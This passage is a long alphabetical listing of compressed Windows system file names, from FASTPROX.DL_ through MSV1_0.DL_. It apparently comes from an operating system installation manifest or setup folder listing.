        FASTPROX.DL_, FAX.CH_, FAX.CP_, FAX.HL_, FAXADMIN.DL_,
        FAXCOM.DL_, FAXCOUNT.H_, FAXCOVER.CH_, FAXCOVER.EX_, FAXEVENT.DL_,
        FAXEXT.EC_, FAXEXT32.DL_, FAXMAPI.DL_, FAXMGMT.CH_, FAXOCM.DL_,
        FAXPERF.DL_, FAXPERF.IN_, FAXQUEUE.CH_, FAXQUEUE.EX_, FAXROUTE.DL_,
        FAXSEND.EX_, FAXSERV.MS_, FAXSETUP.IN_, FAXSHELL.DL_, FAXSVC.EX_,
        FAXT30.DL_, FAXTIFF.DL_, FAXXP32.DL_, FC.EX_, FD16_700.SY_,
        FDC.IN_, FDC.SY_, FDE.DL_, FDE.HL_, FDEPLOY.DL_,
        FEATHER.BM_, FECLIENT.DL_, FIERULD.GI_, FIESTA.HT_, FIESTABG.JP_,
        FILELIST.DA_, FILEMGMT.DL_, FILEMGMT.HL_, FILE_SRV.CH_, FILE_SRV.HL_,
        FILLITUP.AN_, FIND.CH_, FIND.EX_, FINDSTR.EX_, FINGER.EX_,
        FIREPORT.SY_, FIXMAPI.EX_, FJTSCAN.IN_, FLASH.IN_, FLASHPNT.SY_,
        FLPYDISK.IN_, FLPYDISK.SY_, FMIFS.DL_, FOLDEROP.CH_, FONT.DA_,
        FONT.IN_, FONTEXT.DL_, FONTS.CH_, FONTS.HL_, FONTSUB.DL_,
        FONTVIEW.EX_, FORCEDOS.EX_, FORMAT.CO_, FORTUTIL.EX_, FP4.CA_,
        FP40EXT.CAB, FP40EXT.DL_, FP40EXT.IN_, FRAMEBUF.DL_, FRAMEDYN.DL_,
        FREECELL.CH_, FREECELL.EX_, FREECELL.HL_, FS2.CF_, FS2.DE_,
        FS2.DL_, FSCFG.DL_, FSCONINS.DL_, FSMGMT.MS_, FSVGA.IN_,
        FSVGAADD.IN_, FSVGADEL.IN_, FS_REC.SY_, FTDISK.SY_, FTP.EX_,
        FTP.MI_, FTPCTRS.IN_, FTPCTRS2.DL_, FTPMIB.DL_, FTPSAPI2.DL_,
        FTPSVC2.DL_, FTSRCH.DL_, FURELI~1.RM_, FX32.CH_, FYI.CO_,
        G711CODC.AX_, G723CODC.AX_, GAMEENUM.EX_, GAMEPORT.IN_, GAMES.IN_,
        GB2312.UC_, GCDEF.DL_, GDI.EX_, GDI32.DL_, GEND9318.IC_,
        GEND9322.IC_, GENERAL.ID_, GENERIC.CO_, GENPRINT.IN_, GEORGIA.TT_,
        GEORGIAB.TT_, GEORGIAI.TT_, GEORGIAZ.TT_, GETSTART.CH_, GETSTART.GI_,
        GETUNAME.DL_, GLACIER.HT_, GLACRBKG.JP_, GLMF32.DL_, GLOSSARY.CH_,
        GLOSSARY.HL_, GLU32.DL_, GM.DL_, GMREADME.TX_, GONEFISH.BM_,
        GPEDIT.DL_, GPEDIT.HL_, GPEDIT.MS_, GPEDIT_W.CH_, GPKCSP.DL_,
        GPKRSRC.DL_, GPTEXT.DL_, GPTEXT.HL_, GRAFTABL.CO_, GRAPHICS.CO_,
        GRAPHICS.PR_, GRNSTONE.BM_, GRPCONV.EX_, GZIP.DL_, H261_32.AX_,
        H263_32.AX_, H323.TS_, H323CC.DL_, H323MSP.DL_, HAL.DL_,
        HAL.IN_, HALAACPI.DL_, HALACPI.DL_, HALAPIC.DL_, HALBORG.DLL
        HALFTONE.HL_, HALLOF~2.RM_, HALMACPI.DL_, HALMPS.DL_, HALSP.DL_,
        HAND.AN_, HANDAPST.AN_, HANDLER.RE_, HANDLER.SR_, HANDNESW.AN_,
        HANDNO.AN_, HANDNS.AN_, HANDNWSE.AN_, HANDSAFE.RE_, HANDUNSF.RE_,
        HANDWAIT.AN_, HANDWE.AN_, HARDWARE.CH_, HARDWARE.HL_, HARDWARE.IN_,
        HARROW.CU_, HCROSS.CU_, HDWWIZ.CP_, HELP.EX_, HELP_I.CU_,
        HELP_IL.CU_, HELP_IM.CU_, HELP_L.CU_, HELP_M.CU_, HELP_R.CU_,
        HELP_RL.CU_, HELP_RM.CU_, HG18D50.IC_, HG18D65.IC_, HG18D93.IC_,
        HG22D50.IC_, HG22D65.IC_, HG22D93.IC_, HH.EX_, HHCTRL.OC_,
        HHCTRLUI.DL_, HHSETUP.DL_, HIBEAM.CU_, HIDCLASS.SY_, HIDPARSE.SY_,
        HIDSERV.IN_, HIDUSB.SY_, HILGBBS.HT_, HIMEM.SY_, HINDERED.ID_,
        HISECDC.IN_, HISECWS.IN_, HIVECLS.INF, HIVEDEF.INF, HIVESFT.INF
        HIVESYS.INF, HIVEUSD.INF, HLINK.DL_, HMMAPI.DL_, HMOVE.CU_,
        HNESW.CU_, HNODROP.CU_, HNS.CU_, HNWSE.CU_, HOMEPAGE.IN_,
        HORSE.AN_, HOSTMIB.DL_, HOSTMIB.MI_, HOSTNAME.EX_, HOSTS
        HOTPLUG.DL_, HOURGLA2.AN_, HOURGLA3.AN_, HOURGLAS.AN_, HOWTO.CH_,
        HP1600MP.IC_, HPCRDP.CA_, HPMON.DLL, HPMON.HL_, HPOJSCAN.IN_,
        HPSCAN.IN_, HTICONS.DL_, HTML32.CN_, HTRN_JIS.DL_, HTTP.MI_,
        HTTPEXT.DL_, HTTPMIB.DL_, HTTPODBC.DL_, HTUI.DL_, HWCOMP.DAT
        HWE.CU_, HYPERTRM.CH_, HYPERTRM.DL_, HYPERTRM.EX_, HYPERTRM.HL_,
        I740NT5.IN_, I8042PRT.SY_, I81XNT5.IN_, IAC25_32.AX_, IAS.MD_,
        IAS.MS_, IASACCT.DL_, IASADS.DL_, IASHLPR.DL_, IASNAP.DL_,
        IASPERF.DL_, IASPIPE.DL_, IASPOLCY.DL_, IASRAD.DL_, IASRECST.DL_,
        IASSAM.DL_, IASSDO.DL_, IASSVCS.DL_, IASUSERR.DL_, IBMSYNC.IN_,
        ICCVID.DL_, ICFGNT5.DL_, ICM32.DL_, ICMINST.IN_, ICMP.DL_,
        ICMUI.DL_, ICONTE~1.CL_, ICWCONN.DL_, ICWCONN1.EX_, ICWCONN2.EX_,
        ICWDIAL.CH_, ICWDIAL.DL_, ICWDL.DL_, ICWHELP.DL_, ICWIP.DU_,
        ICWNT5.IN_, ICWPHBK.DL_, ICWRES.DL_, ICWRMIND.EX_, ICWTUTOR.EX_,
        ICWUTIL.DL_, ICWX25A.DU_, ICWX25B.DU_, ICWX25C.DU_, IDENT.HL_,
        IDEOGRAF.UC_, IDQ.DL_, IE.IN_, IE4UINIT.EX_, IEAKENG.DL_,
        IEAKMMC.CH_, IEAKSIE.DL_, IEAKUI.DL_, IEDKCS32.DL_, IEFILES5.IN_,
        IEINFO5.MO_, IEINFO5.OC_, IENUMN~1.CL_, IEPEERS.DL_, IERESET.IN_,
        IERNONCE.DL_, IESETUP.DL_, IESHWIZ.EX_, IESUPP.CH_, IEUINIT.IN_,
        IEWEBHLP.CH_, IEXPLORE.CH_, IEXPLORE.EX_, IEXPLORE.HL_, IEXPRESS.EX_,
        IFMON.DL_, IFSUTIL.DL_, IGETCO~1.CL_, IGMPAGNT.DL_, IIS.DL_,
        IIS.IN_, IIS.MS_, IIS5_01.CAB, IIS5_02.CAB, IIS5_03.CAB
        IISADMIN.DL_, IISCHEMA.DL_, IISCLEX4.DL_, IISCRMAP.DL_, IISDBG.CAB
        IISDBG.DL_, IISDBG.IN_, IISEXT.DL_, IISFECNV.DL_, IISLOG.DL_,
        IISMAP.DL_, IISNTW.CH_, IISPERF.PM_, IISRESET.EX_, IISRSTAP.DL_,
        IISRSTAS.EX_, IISRTL.DL_, IISSUBA.DL_, IISSYNC.EX_, IISUI.DL_,
        ILS.DL_, IMAADP32.AC_, IMAGE.IN_, IMAGEHLP.DLL, IMAGEVUE.IN_,
        IMDBSRV.EX_, IMESHARE.DL_, IMGADMIN.OC_, IMGCMN.DL_, IMGEDIT.OC_,
        IMGHELP.HL_, IMGMGT.CH_, IMGMGT.HL_, IMGSCAN.OC_, IMGSHL.DL_,
        IMGTASKS.CH_, IMGTHUMB.OC_, IMGUTIL.DL_, IMGVIEW.CH_, IMM32.DL_,
        IMPACT.TT_, IMS.CAB, IMS.CAT, IMSINSNT.DL_, IMS_W.IN_,
        IMTXAS.CL_, INDICDLL.DL_, INETCFG.DL_, INETCOMM.DL_, INETCORP.AD_,
        INETCPL.CP_, INETCPLC.DL_, INETINFO.EX_, INETMGR.DL_, INETMGR.EX_,
        INETMIB1.DL_, INETPP.DL_, INETRES.AD_, INETRES.DL_, INETSET.AD_,
        INETSLOC.DL_, INETSRV.MI_, INETWIZ.EX_, INFOADMN.DL_, INFOCOMM.DL_,
        INFOCTRS.DL_, INFOCTRS.IN_, INFOSOFT.DL_, INFOSPBZ.BM_, INFOSPCE.BM_,
        INFRARED.HL_, INFRAR_W.CH_, INI910U.SY_, INITPKI.DL_, INPUT.IN_,
        INS.CAB, INS.CAT, INS.IN_, INSENG.DL_, INSTALL.IN_,
        INSTCAT.SQ_, INSTCM.IN_, INSTDSS5.DL_, INSTIPS5.DL_, INSTLSA5.DL_,
        INSTNDI5.DL_, INSTRSA5.DL_, INSTSCH5.DL_, INTELIDE.SY_, INTELLI_,.CH_,
        INTERNAT.EX_, INTL.CP_, INTL.INF, IOBJEC~1.CL_, IOBJEC~2.CL_,
        IOBJEC~3.CL_, IOLOGMSG.DL_, IPCONF.TS_, IPCONFIG.EX_, IPFLTDRV.SY_,
        IPFORWD.MI_, IPHLPAPI.DL_, IPINFO.INF, IPINIP.SY_, IPMONTR.DL_,
        IPNAT.SY_, IPNATHLP.DL_, IPPROMON.DL_, IPP_0000.IN_, IPP_0001.AS_,
        IPP_0002.AS_, IPP_0002.GI_, IPP_0003.AS_, IPP_0003.GI_, IPP_0004.AS_,
        IPP_0004.GI_, IPP_0005.AS_, IPP_0005.GI_, IPP_0006.AS_, IPP_0007.AS_,
        IPP_0008.AS_, IPP_0009.AS_, IPP_0010.AS_, IPP_0011.AS_, IPP_0012.AS_,
        IPP_0012.GI_, IPP_0013.AS_, IPP_0014.AS_, IPP_0015.AS_, IPP_0015.GI_,
        IPP_0016.AS_, IPP_ADSI.IN_, IPP_RES.IN_, IPP_UTIL.IN_, IPRIP.DL_,
        IPROP.DL_, IPRTPRIO.DL_, IPRTRMGR.DL_, IPSCON_W.CH_, IPSEC.SY_,
        IPSECMON.EX_, IPSECSNP.DL_, IPSECSNP.HL_, IPSRAIDN.SY_, IPSSNP_W.CH_,
        IPXMONTR.DL_, IPXPROMN.DL_, IPXRIP.DL_, IPXROUTE.EX_, IPXRTMGR.DL_,
        IPXSAP.DL_, IPXWAN.DL_, IR32_32.DL_, IR41_32.AX_, IR41_QC.DL_,
        IR41_QCX.DL_, IR50_32.DL_, IR50_QC.DL_, IR50_QCX.DL_, IRCLASS.DL_,
        IRDA.SY_, IRDAALIF.IN_, IRDASMC.IN_, IRFTP.EX_, IRMON.DL_,
        IRNSC.IN_, IRPROPS.CP_, IRSIR.SY_, IRTOS4MO.IN_, IRTOS4MU.IN_,
        IR_BEGIN.WA_, IR_END.WA_, IR_INTER.WA_, IS11.DL_, IS11M2.DL_,
        IS50.CF_, IS50.DE_, IS50.DL_, IS60.CF_, IS60.DE_,
        IS60.DL_, ISAPNP.SY_, ISATQ.DL_, ISCOMLOG.DL_, ISCON_W.CH_,
        ISECUR~1.CL_, ISECUR~2.CL_, ISECUR~3.CL_, ISHARE~1.CL_, ISHARE~2.CL_,
        ISHARE~3.CL_, ISIGN32.DL_, ISIGNUP.EX_, ISM.DL_, ISRDBG32.DL_,
        IS_W.CH_, ITIRCL.DL_, ITRANS~1.CL_, ITSS.DL_, IVFSRC.AX_,
        IVY.GI_, IVY.HT_, IWRPS.DL_, IXHELP.HL_, IXQLANG.HT_,
        IXSSO.DL_, JAVACYPT.DL_, JAVAPERM.HL_, JAVAPRXY.DL_, JAVART.DL_,
        JAVASEC.HL_, JDBGMGR.EX_, JET500.DL_, JIT.DL_, JOBEXEC.DL_,
        JOY.CH_, JOY.CP_, JPEG1X32.DL_, JPEG2X32.DL_, JSCRIPT.DL_,
        JSPROXY.DL_, JVIEW.EX_, KANJI_1.UC_, KANJI_2.UC_, KB16.CO_,
        KBD101.DL_, KBD101A.DL_, KBD106N.DL_, KBDAL.DLL, KBDARME.DLL
        KBDARMW.DLL, KBDAX2.DL_, KBDAZE.DLL, KBDAZEL.DLL, KBDBE.DLL
        KBDBENE.DL_, KBDBLR.DLL, KBDBR.DLL, KBDBU.DLL, KBDCA.DLL
        KBDCAN.DL_, KBDCLASS.SY_, KBDCR.DLL, KBDCZ.DLL, KBDCZ1.DLL
        KBDCZ2.DLL, KBDDA.DLL, KBDDV.DLL, KBDES.DLL, KBDEST.DLL
        KBDFC.DLL, KBDFI.DLL, KBDFO.DL_, KBDFR.DLL, KBDGAE.DLL
        KBDGEO.DLL, KBDGKL.DLL, KBDGR.DLL, KBDGR1.DLL, KBDHE.DLL
        KBDHE220.DLL, KBDHE319.DLL, KBDHELA2.DLL, KBDHELA3.DLL, KBDHEPT.DLL
        KBDHID.SY_, KBDHU.DLL, KBDHU1.DLL, KBDIBM02.DL_, KBDIC.DLL
        KBDIR.DLL, KBDIT.DLL, KBDIT142.DLL, KBDKAZ.DLL, KBDLA.DLL
        KBDLK41A.DL_, KBDLK41J.DL_, KBDLT.DLL, KBDLT1.DLL, KBDLV.DLL
        KBDLV1.DLL, KBDMAC.DL_, KBDNE.DLL, KBDNEC.DL_, KBDNEC95.DL_,
        KBDNECAT.DL_, KBDNECNT.DL_, KBDNO.DLL, KBDPL.DLL, KBDPL1.DLL
        KBDPO.DLL, KBDRO.DLL, KBDRU.DLL, KBDRU1.DLL, KBDSF.DLL
        KBDSG.DLL, KBDSL.DLL, KBDSL1.DLL, KBDSP.DLL, KBDSW.DLL
        KBDTAT.DLL, KBDTUF.DLL, KBDTUQ.DLL, KBDUK.DLL, KBDUR.DLL
        KBDUS.DLL, KBDUSA.DL_, KBDUSL.DLL, KBDUSR.DLL, KBDUSX.DLL
        KBDUZB.DLL, KBDVNTC.DLL, KBDYCC.DLL, KBDYCL.DLL, KDK2X0.IN_,
        KERBEROS.DL_, KERNEL32.DL_, KEY01.SY_, KEYB.CH_, KEYBOARD.DR_,
        KEYBOARD.IN_, KEYBOARD.SY_, KMDDSP.TS_, KODAK.IN_, KODAKIMG.EX_,
        KODAKPRV.EX_, KOREAN.UC_, KRNL386.EX_, KS.IN_, KSC.NL_,
        KSCAPTUR.IN_, KSECDD.SY_, KSFILTER.IN_, KSOLAY.AX_, KSQMF.AX_,
        L3CODECX.AX_, LABEL.EX_, LADMIN2X.DL_, LADMINPX.DL_, LADMINX.DL_,
        LANG.CH_, LANMAN.DR_, LAPPSTRT.CU_, LAPRXY.DL_,
        LARROW.CU_, LAYOUT.INF, LBRTFDC.SY_, LCROSS.CU_, LEAVES.HT_,
        LEAVESBG.JP_, LEGACY.IN_, LEGCYDRV.IN_, LGMNTR.EX_, LGSTITCH.DL_,
        LHACM.AC_, LIBEAM.CU_, LICENSE.CH_, LICMGR10.DL_, LIGHTS.EX_,
        LINKINFO.DL_, LMHOSTS.SA_, LMHSVC.DL_, LMMIB2.DL_, LMMIB2.MI_,
        LMOVE.CU_, LMRT.DL_, LNESW.CU_, LNKSTUB.EX_, LNODROP.CU_,
        LNS.CU_, LNWSE.CU_, LOADFIX.CO_, LOADPERF.DL_, LOCALE.NL_,
        LOCALMON.DL_, LOCALSEC.CH_, LOCALSEC.DL_, LOCALSEC.HL_, LOCALSPL.DL_,
        LOCALUI.DL_, LOCATOR.EX_, LOCWIN32.DL_, LODCTR.EX_, LOGAGENT.EX_,
        LOGDRIVE.DL_, LOGHOURS.DL_, LOGIN.CM_, LOGISCAN.IN_, LOGOFF.WA_,
        LOGON.SC_, LOGON.WA_, LOGSCRPT.DL_, LOGTEMP.SQ_, LOGUI.OC_,
        LONSINT.DL_, LOTUS.WK_, LP6NDS35.SY_, LPDSVC.DL_, LPK.DL_,
        LPQ.EX_, LPR.EX_, LPRHELP.DL_, LPRMON.DL_, LPRMONUI.DL_,
        LSASRV.DL_, LSASS.EX_, LUCON.TT_, LUSRMGR.MS_, LVCAM.IN_,
        LVCOMP.IN_, LVSOUND.IN_, LWAIT.CU_, LWE.CU_, LWNGMADI.IN_,
        LWUSBHID.IN_, LZ32.DL_, LZEXPAND.DL_, L_10646.TT_, L_EXCEPT.NL_,
        L_INTL.NL_, MACHINE.IN_, MAGNIFY.CH_, MAGNIFY.EX_, MAGNIFY.HL_,
        MAG_HOOK.DL_, MAIL.CH_, MAIN.CP_, MAIZE.HT_, MAIZEBKG.JP_,
        MAKAPT15.BA_, MAKECAB.EX_, MAKFRE15.BA_, MANAGER.CAB, MAPIMIG.CA_,
        MAPISTUB.DL_, MARLETT.TT_, MBSLGN32.DL_, MCAST.DL_, MCASTMIB.DL_,
        MCASTMIB.MI_, MCD32.DL_, MCDSRV32.DL_, MCHGR.IN_, MCI.HT_,
        MCIAVI.DR_, MCIAVI32.DL_, MCICDA.DL_, MCIOLE16.DL_, MCIOLE32.DL_,
        MCIQTZ32.DL_, MCISEQ.DL_, MCISEQ.DR_, MCIWAVE.DL_, MCIWAVE.DR_,
        MD5FILT.DL_, MDAC.IN_, MDACRDME.HT_, MDHCP.DL_, MDM3CISA.IN_,
        MDM3COM.IN_, MDM3CPCM.IN_, MDM3CUSB.IN_, MDM3X.IN_, MDM656N5.IN_,
        MDMACEEX.IN_, MDMADC.IN_, MDMAIRTE.IN_, MDMAR1.IN_, MDMARCH.IN_,
        MDMARCHT.IN_, MDMARN.IN_, MDMATI.IN_, MDMATT.IN_, MDMAUS.IN_,
        MDMBLATZ.IN_, MDMBOCA.IN_, MDMBSB.IN_, MDMBSCH.IN_, MDMCM28.IN_,
        MDMCMCM.IN_, MDMCODEX.IN_, MDMCOM1.IN_, MDMCOMMU.IN_, MDMCPI.IN_,
        MDMCPQ.IN_, MDMCPQ2.IN_, MDMCPV.IN_, MDMCRTIX.IN_, MDMCTM1.IN_,
        MDMDEFD.IN_, MDMDGITN.IN_, MDMDIGI.IN_, MDMDISCO.IN_, MDMDSI.IN_,
        MDMDYNA.IN_, MDMEIGER.IN_, MDMELINK.IN_, MDMELSA.IN_, MDMERIC.IN_,
        MDMERIC2.IN_, MDMESS.IN_, MDMETECH.IN_, MDMEXP.IN_, MDMEYP.IN_,
        MDMGATEW.IN_, MDMGCS.IN_, MDMGEN.IN_, MDMGL001.IN_, MDMGL002.IN_,
        MDMGL003.IN_, MDMGL004.IN_, MDMGL005.IN_, MDMGL006.IN_, MDMGL007.IN_,
        MDMGL008.IN_, MDMGL009.IN_, MDMGL010.IN_, MDMGSM.IN_, MDMGV.IN_,
        MDMGVC.IN_, MDMHAEU.IN_, MDMHAEUS.IN_, MDMHANDY.IN_, MDMHAY2.IN_,
        MDMHAYES.IN_, MDMINFOT.IN_, MDMINST.DL_, MDMINSYS.IN_, MDMINTEL.IN_,
        MDMINTPC.IN_, MDMISDN.IN_, MDMITEX.IN_, MDMKE.IN_, MDMKORTX.IN_,
        MDMLASAT.IN_, MDMLASNO.IN_, MDMLCE.IN_, MDMLNGSH.IN_, MDMLT3.IN_,
        MDMLTLEO.IN_, MDMMART.IN_, MDMMCOM.IN_, MDMMETRI.IN_, MDMMHRTZ.IN_,
        MDMMHZA.IN_, MDMMHZEL.IN_, MDMMHZK1.IN_, MDMMIX.IN_, MDMMOD.IN_,
        MDMMOTO.IN_, MDMMOTO1.IN_, MDMMOTOU.IN_, MDMMTD.IN_, MDMMTS.IN_,
        MDMMULOG.IN_, MDMNEUHS.IN_, MDMNOKIA.IN_, MDMNOKNO.IN_, MDMNOVA.IN_,
        MDMNOVFX.IN_, MDMOLIC.IN_, MDMOPTN.IN_, MDMOSI.IN_, MDMPACE.IN_,
        MDMPBIT.IN_, MDMPENR.IN_, MDMPHILS.IN_, MDMPN1.IN_, MDMPNB.IN_,
        MDMPP.IN_, MDMPRODM.IN_, MDMPSION.IN_, MDMRACAL.IN_, MDMRISA.IN_,
        MDMROCK.IN_, MDMROCK2.IN_, MDMROCK3.IN_, MDMROCK4.IN_, MDMROCK5.IN_,
        MDMRPCI.IN_, MDMRPCIW.IN_, MDMSECDY.IN_, MDMSETUP.IN_, MDMSIER.IN_,
        MDMSIMPL.IN_, MDMSMART.IN_, MDMSNIT1.IN_, MDMSNITN.IN_, MDMSONIX.IN_,
        MDMSPQ28.IN_, MDMSRT.IN_, MDMSUPR3.IN_, MDMSUPRA.IN_, MDMSUPRV.IN_,
        MDMTAICM.IN_, MDMTDK.IN_, MDMTELBT.IN_, MDMTELIN.IN_, MDMTELNK.IN_,
        MDMTEXAS.IN_, MDMTGER.IN_, MDMTI.IN_, MDMTOSH.IN_, MDMTRIPL.IN_,
        MDMTRON.IN_, MDMUCOM.IN_, MDMUSRCR.IN_, MDMUSRF.IN_, MDMUSRG.IN_,
        MDMUSRK1.IN_, MDMUSRSP.IN_, MDMUSRWP.IN_, MDMVDOT.IN_, MDMVICT.IN_,
        MDMVV.IN_, MDMWELL.IN_, MDMWHQL0.IN_, MDMWOER.IN_, MDMX5560.IN_,
        MDMYORIK.IN_, MDMZOOM.IN_, MDMZYP.IN_, MDMZYXEL.IN_, MDMZYXLD.IN_,
        MDMZYXLG.IN_, MDSYNC.DL_, MDUTIL.EX_, MEM.EX_, MEMCARD.IN_,
        MERLIN.AC_, METADATA.DL_, METRONOM.AN_, MF.IN_, MF3.DE_,
        MF3216.DL_, MF3C562.IN_, MFC21.IN_, MFC40.DL_, MFC40U.DL_,
        MFC42.DL_, MFC42U.DL_, MFC550.IN_, MFCEM28.IN_, MFCEM33.IN_,
        MFCEM56.IN_, MFCSUBS.DL_, MFCUIX.HL_, MFF56N5.IN_, MFGENB.IN_,
        MFLE56.IN_, MFM16B.IN_, MFMHZN5.IN_, MFOCE2M.IN_, MFOCT35.IN_,
        MFS12CZ.DE_, MFS12CZ.DL_, MFSOCKET.IN_, MFSUPRA.IN_, MFX56NF.IN_,
        MGA64.IN_, MGMTAPI.DL_, MGSYNC.IN_, MGWAN5.IN_, MIB.BI_,
        MIB_II.MI_, MICROSS.TT_, MIDIMAP.DL_, MIGISOL.EX_, MIGPWD.EX_,
        MIGREGDB.EX_, MIMEFILT.DL_, MINIOC.IN_, MIPX.MI_, MLANG.DA_,
        MLANG.DL_, MLL_HP.DL_, MLL_MTF.DL_, MLL_QIC.DL_, MLS_TRB.CH_,
        MMC.EX_, MMC.HL_, MMCNDMGR.DL_, MMCSHEXT.DL_, MMC_W.CH_,
        MMDET.DL_, MMDRIVER.IN_, MMDRV.DL_, MMDRV.HL_, MMEFXE.OC_,
        MMFUTIL.DL_, MMOPT.IN_, MMSYS.CP_, MMSYSTEM.DL_, MMTASK.TS_,
        MMUTILSE.DL_, MNB22G15.IC_, MNB22G18.IC_, MNB22G21.IC_, MNEBUG15.IC_,
        MNEBUG18.IC_, MNEBUG21.IC_, MNMDD.DL_, MNMDD.SY_, MNMSRVC.EX_,
        MNP22G15.IC_, MNP22G18.IC_, MNP22G21.IC_, MOBSYNC.CH_, MOBSYNC.DL_,
        MOBSYNC.EX_, MOBSYNC.HL_, MODE.CO_, MODEM.CAB, MODEM.HL_,
        MODEM.SY_, MODEMCSA.IN_, MODEMUI.DL_, MODERN.FO_, MODEX.DL_,
        MODE_W.CH_, MOFCOMP.EX_, MOFD.DL_, MONITOR.IN_, MONITOR2.IN_,
        MONITOR3.IN_, MONITOR4.IN_, MONITOR5.IN_, MONITOR6.IN_, MONITOR7.IN_,
        MONITOR8.IN_, MONITOR9.IN_, MORE.CO_, MORICONS.DL_, MOUNTMGR.SY_,
        MOUNTVOL.EX_, MOUSE.CH_, MOUSE.DR_, MOUSE.HL_, MOVE_I.CU_,
        MOVE_IL.CU_, MOVE_IM.CU_, MOVE_L.CU_, MOVE_M.CU_, MOVE_R.CU_,
        MOVE_RL.CU_, MOVE_RM.CU_, MOZART~2.RM_, MPCODECS.IN_, MPG2SPLT.AX_,
        MPG4DS32.AX_, MPLAY32.EX_, MPLAYER.CH_, MPLAYER.HL_, MPLAYER2.CN_,
        MPLAYER2.EX_, MPLAYER2.HL_, MPLAYER2.IN_, MPNETWRK.HL_, MPNOTIFY.EX_,
        MPR.DL_, MPRAPI.DL_, MPRDDM.DL_, MPRDIM.DL_, MPRMSG.DL_,
        MPRUI.DL_, MPSSTLN.IN_, MP_W.CH_, MQ1REPL.DL_, MQ1SYNC.EX_,
        MQAC.SY_, MQADS.DL_, MQBKUP.EX_, MQCERTUI.DL_, MQDBODBC.DL_,
        MQDSCLI.DL_, MQDSSRV.DL_, MQEXCHNG.CA_, MQEXCHNG.EX_, MQLOGMGR.DL_,
        MQMAILOA.DL_, MQMAILVB.DL_, MQMIG.EX_, MQMIGRAT.DL_, MQOA.DL_,
        MQOA10.TL_, MQPERF.DL_, MQPERF.IN_, MQPRFSYM.H_, MQQM.DL_,
        MQRT.DL_, MQSEC.DL_, MQSNAP.DL_, MQSNAP.HL_, MQSVC.EX_,
        MQSYSOC.IN_, MQUPGRD.DL_, MQUTIL.DL_, MQXP32.DL_, MRAID35X.SY_,
        MRINFO.EX_, MRIPSAP.MI_, MRXSMB.SY_, MSACM.DL_, MSACM32.DL_,
        MSACM32.DR_, MSADCE.DL_, MSADCER.DL_, MSADCF.DL_, MSADCFR.DL_,
        MSADCO.DL_, MSADCOR.DL_, MSADCS.DL_, MSADDS.DL_, MSADDS32.AX_,
        MSADDSR.DL_, MSADER15.DL_, MSADLIB.ID_, MSADO15.DL_, MSADO20.TL_,
        MSADO21.TL_, MSADOMD.DL_, MSADOR15.DL_, MSADOX.DL_, MSADP32.AC_,
        MSADRH15.DL_, MSAFD.DL_, MSAPSSPC.DL_, MSASN1.DL_, MSAUDITE.DL_,
        MSAWT.DL_, MSBBS.HT_, MSCAT32.DL_, MSCDEXNT.EX_, MSCLUS.DL_,
        MSCMS.DL_, MSCONF.DL_, MSCONV97.DL_, MSCPXL32.DL_, MSDADC.DL_,
        MSDAENUM.DL_, MSDAER.DL_, MSDAORA.DL_, MSDAOSP.DL_, MSDAPRSR.DL_,
        MSDAPRST.DL_, MSDAPS.DL_, MSDAREM.DL_, MSDAREMR.DL_, MSDART32.DL_,
        MSDASC.CH_, MSDASC.DL_, MSDASQL.DL_, MSDASQLR.DL_, MSDATL2.DL_,
        MSDATSRC.TL_, MSDATT.DL_, MSDAURL.DL_, MSDBI.DLL, MSDFMAP.DL_,
        MSDFMAP.IN_, MSDTC.EX_, MSDTCLOG.DL_, MSDTCPRF.H_, MSDTCPRF.IN_,
        MSDTCPRX.DL_, MSDTCTM.DL_, MSDTCUI.DL_, MSDV.IN_, MSDXM.OC_,
        MSDXMLC.DL_, MSENCODE.DL_, MSEXCH40.DL_, MSEXCL40.DL_, MSF12CZ.DE_,
        MSF12CZ.DL_, MSFAXMON.DL_, MSFS.SY_, MSFT.MI_, MSG711.AC_,
        MSG723.AC_, MSGINA.DL_, MSGPC.SY_, MSGSM32.AC_, MSGSVC.DL_,
        MSH261.DR_, MSHDC.IN_, MSHTA.EX_, MSHTML.DL_, MSHTML.TL_,
        MSHTMLED.DL_, MSHTMLER.DL_, MSI.DL_, MSI.MF_, MSI.MO_,
        MSICW.IS_, MSIDENT.DL_, MSIDENT.HL_, MSIDLE.DL_, MSIDLPM.DL_,
        MSIDNTLD.DL_, MSIDPE.DL_, MSIEFTP.DL_, MSIEXEC.EX_, MSIHND.DL_,
        MSIMDBCR.DL_, MSIMDBMG.DL_, MSIMDBPC.DL_, MSIMDBPR.DL_, MSIMG32.DL_,
        MSIMN.EX_, MSIMSG.DL_, MSINFO32.CH_, MSINFO32.DL_, MSINFO32.EX_,
        MSINFO32.HL_, MSINFO32.IN_, MSINFO32.MS_, MSIPBTP.MI_, MSIPRIP2.MI_,
        MSIPROV.DL_, MSJAVA.DL_, MSJDBC.CA_, MSJDBC.CE_, MSJDBC.ZI_,
        MSJDBC10.DL_, MSJET40.DL_, MSJETOL1.DL_, MSJINT40.DL_, MSJRO.DL_,
        MSJTER40.DL_, MSJTES40.DL_, MSLS31.DL_, MSLTUS40.DL_, MSLWVTTS.DL_,
        MSMAIL.IN_, MSMOUSE.IN_, MSMQ.CP_, MSMQCO_W.CH_, MSMQCPL.CH_,
        MSMQCPL.HL_, MSMQOCM.DL_, MSMQOCM.IN_, MSMQ_W.CH_, MSMS001.VW_,
        MSMSCSI.IN_, MSMUSB.IN_, MSN.IS_, MSNAUTH.CN_, MSNAUTH.HL_,
        MSNETMTG.IN_, MSNSSPC.DL_, MSOBJS.DL_, MSOE.CH_, MSOE.DL_,
        MSOE.HL_, MSOE.TX_, MSOE50.IN_, MSOEACCT.DL_, MSOEACCT.HL_,
        MSOERES.DL_, MSOERT2.DL_, MSORCL32.CH_, MSORCL32.DL_, MSPAINT.CH_,
        MSPAINT.EX_, MSPAINT.HL_, MSPATCHA.DL_, MSPBDE40.DL_, MSPORTS.DL_,
        MSPORTS.IN_, MSPRIVS.DL_, MSR2C.DL_, MSR2CENU.DL_, MSRATING.DL_,
        MSRCLR40.DL_, MSRD2X40.DL_, MSRD3X40.DL_, MSRECR40.DL_, MSREPL40.DL_,
        MSRLE32.DL_, MSSCRIPT.OC_, MSSIGN32.DL_, MSSIP32.DL_, MSSOUND.WA_,
        MSSWCH.DL_, MSSWCHX.EX_, MST120.DL_, MST123.DL_, MSTASK.DL_,
        MSTASK.EX_, MSTASK.HL_, MSTASK.INF, MSTASK.INI, MSTASK_W.CH_,
        MSTEXT40.DL_, MSTINIT.EX_, MSTTS.IN_, MSTTSSYN.DL_, MSV1_0.DL_,
